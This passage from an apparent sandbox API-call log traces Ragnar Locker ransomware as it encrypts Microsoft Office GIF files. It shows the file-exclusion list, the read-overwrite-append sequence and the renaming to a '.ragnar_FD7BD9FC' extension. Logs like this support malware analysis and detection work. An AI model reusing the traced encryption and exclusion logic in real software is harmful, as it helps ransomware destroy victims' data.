Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF.ragnar_FD7BD9FC" [0100.555] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.572] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c0dc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb3c0dc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21400_.GIF", cAlternateFileName="")) returned 1 [0100.572] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.572] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21400_.GIF" | out: lpString1="BD21400_.GIF") returned="BD21400_.GIF" [0100.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF") returned=".GIF" [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="autorun.inf") returned 1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="boot.ini") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="bootfont.bin") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="bootsect.bak") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="bootmgr") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="bootmgr.efi") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="desktop.ini") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="iconcache.db") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="ntldr") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="ntuser.dat") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="ntuser.ini") returned -1 [0100.572] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="thumbs.db") returned -1 [0100.572] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.572] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.572] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.572] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.572] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.572] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.572] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif")) returned 0x20 [0100.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.823] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=233) returned 1 [0100.823] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.823] GetProcessHeap () returned 0x580000 [0100.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.823] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.824] VirtualAlloc (lpAddress=0x0, dwSize=0xe9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.824] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.824] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.825] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe9, lpOverlapped=0x0) returned 1 [0100.825] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.825] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe9, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.825] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe9, lpOverlapped=0x0) returned 1 [0100.825] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.825] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.825] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.825] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.825] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.825] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.825] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.826] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.826] GetProcessHeap () returned 0x580000 [0100.826] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.826] CloseHandle (hObject=0x10c) returned 1 [0100.826] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" [0100.826] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF.ragnar_FD7BD9FC" [0100.826] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.827] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6b100, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6b100, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21421_.GIF", cAlternateFileName="")) returned 1 [0100.827] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.827] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21421_.GIF" | out: lpString1="BD21421_.GIF") returned="BD21421_.GIF" [0100.827] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF") returned=".GIF" [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="autorun.inf") returned 1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="boot.ini") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="bootfont.bin") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="bootsect.bak") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="bootmgr") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="bootmgr.efi") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="desktop.ini") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="iconcache.db") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="ntldr") returned -1 [0100.827] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="ntuser.dat") returned -1 [0100.828] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.828] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="ntuser.ini") returned -1 [0100.828] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="thumbs.db") returned -1 [0100.828] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.828] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.828] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.828] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.828] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.828] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.828] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif")) returned 0x20 [0100.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.828] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=287) returned 1 [0100.829] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x116, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.829] GetProcessHeap () returned 0x580000 [0100.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.829] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.829] VirtualAlloc (lpAddress=0x0, dwSize=0x11f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.830] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.830] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.830] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x11f, lpOverlapped=0x0) returned 1 [0100.830] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.830] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11f, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.830] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x11f, lpOverlapped=0x0) returned 1 [0100.830] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.830] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.830] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x11f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.830] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.830] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.830] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.831] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.831] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.843] GetProcessHeap () returned 0x580000 [0100.843] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.843] CloseHandle (hObject=0x10c) returned 1 [0100.844] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" [0100.844] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF.ragnar_FD7BD9FC" [0100.844] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.844] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6b100, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6b100, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21422_.GIF", cAlternateFileName="")) returned 1 [0100.845] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.845] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21422_.GIF" | out: lpString1="BD21422_.GIF") returned="BD21422_.GIF" [0100.845] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF") returned=".GIF" [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="autorun.inf") returned 1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="boot.ini") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="bootfont.bin") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="bootsect.bak") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="bootmgr") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="bootmgr.efi") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="desktop.ini") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="iconcache.db") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="ntldr") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="ntuser.dat") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="ntuser.ini") returned -1 [0100.845] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="thumbs.db") returned -1 [0100.845] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.845] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.845] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.845] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.845] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.845] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.845] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif")) returned 0x20 [0100.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.846] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=257) returned 1 [0100.846] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.846] GetProcessHeap () returned 0x580000 [0100.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.846] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.848] VirtualAlloc (lpAddress=0x0, dwSize=0x101, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.848] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.848] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.848] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x101, lpOverlapped=0x0) returned 1 [0100.848] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.848] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x101, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.848] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x101, lpOverlapped=0x0) returned 1 [0100.849] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x101, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.849] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.849] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x101, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.849] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.849] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.849] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.849] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.849] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.849] GetProcessHeap () returned 0x580000 [0100.849] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.849] CloseHandle (hObject=0x10c) returned 1 [0100.849] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" [0100.849] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF.ragnar_FD7BD9FC" [0100.849] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft 